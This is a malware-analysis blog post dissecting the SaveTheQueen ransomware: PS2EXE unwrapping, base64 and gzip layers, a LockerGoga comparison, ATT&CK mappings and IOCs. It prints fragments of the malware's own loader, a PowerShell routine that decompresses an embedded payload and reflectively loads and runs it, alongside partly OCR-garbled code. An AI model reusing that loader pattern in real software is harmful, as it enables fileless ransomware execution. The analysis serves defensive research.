# God save the Queen [...] 'cause Ransom is money -SaveTheQueen Encryptor

dissectingmalwa.re/god-save-the-queen-cause-ransom-is-money-savethequeen-encryptor.html

#### Mon 02 December 2019 in Ransomware

Honestly I couldn't decide between the title above and "All crimes are paid", but Sex Pistols fans will get it regardless  $\sqrt{(\gamma)}$ 

I found this sample while browsing the new public submissions on AnyRun on the 1st of December. It peaked my interest because there were just three samples of it on the platform at the time of writing this and they were all uploaded very recently.



A general disclaimer as always: downloading and running the samples linked below will lead to the encryption of your personal data, so be f\$cking careful. Also check with your local laws as owning malware binaries/ sources might be illegal depending on where you live.

SaveTheQueen @ AnyRun | VirusTotal | HybridAnalysis --> sha256 3c9f777654a45eb6219f12c2ad10082043814389a4504c27e5aec752a8ee4ded

As always one of my go to tools is DetectItEasy. In this case it tells us that we are dealing with a .NET Application and you know what that means: Let's whip out the .NET Analysis VM and take a look.

Type:     PE     Size:     1036288       Export     Import     Resource     Overlay	Entropy .NET	FLC S H PE		
EntryPoint: 000fb68e >	ImageBase:	00400000		
NumberOfSections 0003 >	SizeOfImage:	00100000		
▼ PE 32 Linker: Microsoft linker(8.0) Library: .NET(v2.0.50727)				
Nauz File Detector  Sign 100%	atures Info	Scan		

This looks pretty promising. Because .NET Code is not compiled to Machine Language directly but rather to the Common Intermediate Language (CIL) just in time we can inspect it without the need for a disassembler with <u>Telerik JustDecompile</u> or <u>dnSpy</u>.



Looking at the Output it looks like we have a Powershell Script in front of us that has been run through <u>PS2EXE</u>, a kind of "converter" (a wrapper to be more precise) for ps1 scripts to PE executables.

)
else if (string.compare(str, "-end", true) == 0)
num1 = num2 + 1;
break;
}
else if (string.Compare(str, "-debug", true) == 0)
{
Debugger Launch();
Dreak;
2 mm2+++
string str1 = Encoding.UTF8.GetString(Convert.FromBase64String("c3RhcnQgY21kLmV4ZQ0KJHByb2NpZD1HZXQtUHJvY2VzcyAtTmFtZSBjbWQgICB8c2VsZWN0IC11eHBhbmQg
if (string.IsNullOrEmpty(empty))
{
powerShell.AddScript(strl);
string value = null;
<pre>kegex regex = new kegex("'-([::]+)[:]/([::]*)\$"); for (int 4 = numl) 4 &lt; (int - numl) and (int - numl);</pre>
i i i i i i i i i i i i i i i i i i i
Match match = regex.Match(args[i]):
if (match.Success 44 match.Groups.Count == 3)
if (value != null)
ť
powerShell.AddParameter(value);
}
<pre>// (match.Groups[z].value.frim() "") //</pre>
value = match.Groups[1].Value:
}
<pre>else if (match.Groups[2] Value == "True"    match.Groups[2] Value.ToUpper() == "\$TRUE")</pre>
{
<pre>powerShell.AddParameter(match.Groups[1].Value, true);</pre>
value = null;
erse if (match.broups[2].value "raise" [] match.broups[2].value.toupper() == "\$fALSE")
<pre>powerShell.AddParameter(match.Groups[1].Value, false);</pre>

Decoding the Base64 string we got from the binary gets us two more blocks of what looks like base64 strings and a few lines of PowerShell code between it.

2079	+NX29tlgfefkPJl0bSn1Ryvqp8lfJ+hHhf78PPR5/N/f23//Hf37c/gN/jP32in117nJXX48rhyPbtT1dDC50zv7		
2080	9el4j0/+37/SfYSH+T38WcGgn5T6m/Bzwmoi5jn92dX/9373Xv3JV+6bP/kqpf+m8IK/Vh0IyXwNX1V/5vKkNbT7		
2081	z+//9//lflYCff5b84kw9i4EZR6t6LC4g+g6RsrsDYxf90eXeKulvz3WT6dwjd/rdlTGmP/8x/f376iPQ5S8HSH5		
2082	09pTHW0S9ielWRYRwz8DPnIoHXGNohh0TPOff+l9d4vxKeTgG03kz79RP9NtZLw8zPwDwHEbgD0Pfz3oZy20ucca		
2083	fPTepdIbdxCh5J2k+rVuI/8rzVr+SLcvA0Zqe4MrQB1EpBqe2v5/rf89VmOs6bf6vQP9fIg3aEZU6v4ObPACsESf		
2084	fVa/1f9/RonFpGbrSv0F80H64VWhg+wa63dlMafUXwHWmulvZGCVud68CHMKeKUL9+j7BxRU9HEfh88U8Bl8J4zV		
2085	KE7pnYxuMcU8TlDm7POL7/2T/PNf32usK/Xvd/6xAfn/f/4x/vwD0yv0KQDCBAA='		
2086			
2087	<pre>\$gg = New-Object I0.Compression.GZipStream([I0.MemoryStream][Convert]::FromBase64String(\$v4),[I0.Compression.CompressionMode]::Decompress)</pre>		
2088	\$bb = New-Object Byte[](1024*777)		
2089			
2090	Try		
2091			
2092	\$gg.Read(\$bb, 0, 1024*777)		
2093			
2094	[Reflection.Assembly]::Load(\$bb)		
2095			
2096	[ShellcodeTest.Program4]::Main(@(\$procid))		
2097	}		
2098	Catch		
2099			
2100	\$Exception.Message   Out-String		
2101	}		
2102			
2103	\$v3 = 'H45IAAAAAAAAAEAUY9WeX0W3FET7/N+3X65NVUU3/SHJZDKM22/GYUCMCGCA5GC823NHQFPDC/HXVGUUAHUGRLJAFjDC		
2104	UIWUCRUKXAUURCLCIEgXkBgIEUUCCEFEIWobnASykXL+//W/SSpUyBBaIykI//TdgqIn/XXXUSdnud3V9XG/6D1		
2105	21KS9/L5J/0KZ12221731EV/+X8/K1+1/2P/2C931+M0V/61V/0W/1163/MVK/H82F50UW+2C0//CH9/RU/0K//		
2106	D+v91/2y162/3001110105/3V7/2X000V0395212V88/7/L1+19101/+5NPV005664/V011Q1022V9VVP+1A2LL12/Z/		
2107	XL1051761/1W02X/722V+V037070/+7111/V13/413V5My522++6PU36(e5103AV97/1L/12/361/5V0(//2MeV		
2108	Y+11J33+Wr01rVyU/KVETem91V11P/JZX3WV35m6P210/34JV/1+D+23111/+2100C10+01mKP952+XX/0nmvl3		

Decompressing one of the gzip blocks yields us a Portable Executable!

Compress	
Text	
H4sIAAAAAAAAAAABAOy9SewsWXbeF/96j9UD2WQ3myxTYtt6VJNGiSIXzpM8qHOe5zkFoxWZGTnPGTkCbrRsWQBhgRAp	I
mIAIQ9BC3on2xployQtB1saAaXklWIAXBuyIrY1swNBC8jm/G1XVZBOwvfNCXf3PlxkZw40b957zne9852Zt/Jes	l
d5ZlvZe/f/kvLet3LfO/71n/z//7ofz99B/7uz9t/Vdf+71f+t236u/9Une5unw4ng+Ls737MLX3+4P7YeJ8OF/3	
H1b7D9IG58PuMHM++8Y3vv7L3jmaOcuqvr2z8t/5+d/4/Lz/s/XHP/zkW8Cy/q606mOz7bf+ibz/oF9qS61v8v4j	
0.27L	
gz 🗸 Compress Decompress	
Result	
Execution time: 86675 us Compression ratio: 44 % Original size: 137393 bytes Result size: 311808 bytes	
	I
� �! � IL �! This program cannot be run in DOS mode.	I
\$	
	7

The dropped *.SaveTheQueen.LOG* was found in **C:\ProgramData\**. SaveTheQueen **does not** leave a ransomnote or other information to contact the crooks.

CLR: 2.0.50727.5420

Comprose

Drive: C:\

Because the Registry edits resemble something seen before in <u>LockerGoga</u> I'd like to make a short comparison between the two stains.

"Feature"	SaveTheQueen	LockerGoga
Ransomnote	none	txt File in %Desktop%
Logging	C:\ProgramData\SaveTheQueen.LOG	C:\.log
Registry	Restartmanager\Session00xx	Restartmanager\Session00xx
Binary	.NET	Visual C++

### Update 19.12.2019:

A new variant of the SaveTheQueen Ransomware was found the MalwareHunterTeam. I'll update this article asap.

The SaveTheQueen ransomware is  $\bigcirc$ ... The ransomware sample -> ConfuserEx -> shellcode -> embed in C# injector dll (base64 encoded) -> PowerShell script (base64 + GZip) -> PS2EXE - and not even sure if that's all...@demonslay335

- MalwareHunterTeam (@malwrhunterteam) December 18, 2019

# MITRE ATT&CK

- T1035 --> Service Execution --> Execution
- T1215 --> Kernel Modules and Extensions --> Persistence
- T1179 --> Hooking --> Persistence
- T1055 --> Process Injection --> Privilege Escalation
- *T1179* --> Hooking --> Privilege Escalation
- T1045 --> Software Packing --> Defense Evasion
- T1055 --> Process Injection --> Defense Evasion
- T1112 --> Modify Registry --> Defense Evasion
- T1179 --> Hooking --> Credential Access
- *T1012* --> Query Registry --> Discovery
- T1046 --> Network Service Scanning --> Discovery
- T1120 --> Peripheral Device Discovery --> Discovery
- T1057 --> Process Discovery --> Discovery

## IOCs

#### SaveTheQueen

SaveTheQueen.exe --> SHA256: 3c9f777654a45eb6219f12c2ad10082043814389a4504c27e5aec752a8ee4ded SSDEEP: 12288:a4Gvlgr3S/Jsftu5hU17WFKp4NpBvUssesKtIKy7vr4YT0PgZ304lGrDJ08YFfDY:ayw3ZwEaSAVX8Zy

# **Registry Keys**

HKEY\_CURRENT\_USER\Software\Microsoft\RestartManager\Session00xx Owner --> 6C 0A 00 00 26 23 E1 EB AC A6 D5 01

HKEY\_CURRENT\_USER\Software\Microsoft\RestartManager\Session00xx
SessionHash --> 32 Byte Hex

HKEY\_CURRENT\_USER\Software\Microsoft\RestartManager\Session00xx
RegFiles0000 --> Files to be encrypted/stolen

HKEY\_CURRENT\_USER\Software\Microsoft\RestartManager\Session00xx
RegFilesHash --> 32 Byte Hex